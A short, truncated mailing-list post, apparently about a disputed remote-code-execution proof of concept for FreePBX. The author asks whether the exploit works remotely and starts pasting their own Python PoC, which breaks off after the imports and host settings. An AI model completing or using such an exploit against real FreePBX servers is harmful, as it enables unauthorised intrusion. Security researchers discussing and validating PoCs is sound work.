Posted by xD 0x41 on Sep 18
Hello,
Thankyou for your input regarding this, the issue is not a matter of
where to put files, nor of LFI, it is more of 'why is this PoC made for
non-user accounts,and can it be used remotely by attackers'.
I have written 3 or so PoC's for this and also for another bug in this, they
can b found here:
#!/usr/bin/env python
import urllib, re, os, httplib, urllib2, time, socket, getopt, sys
host = $host
port = 80
s =…
Source: Fwd: FreePBX Unfounded RCE PoC or rather Misguided PoC maybe ?
